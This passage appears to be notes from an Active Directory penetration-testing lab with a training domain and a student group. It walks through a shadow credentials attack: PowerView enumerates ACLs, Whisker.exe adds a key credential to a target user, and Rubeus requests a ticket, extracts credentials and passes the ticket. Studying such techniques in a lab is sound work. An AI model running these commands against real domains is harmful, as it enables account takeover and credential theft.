Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "StudentUsers"}

2. Add the Shadow Credential

Whisker.exe add /target:supportXuser

3. Using PowerView, see if the Shadow Credential is added.

Get-DomainUser -Identity supportXuser

Rubeus.exe asktgt /user:supportXuser /certificate:MIIJuAIBAzCCCXQGCSqGSIb3DQEHAaCCCW.... /password:"1OT0qAom3..." /domain:us.techcorp.local /dc:US-DC.us.techcorp.local /getcredentials /show /nowrap

Rubeus.exe ptt /ticket:doIGgDCCBnygAwIBBaEDAgEW...
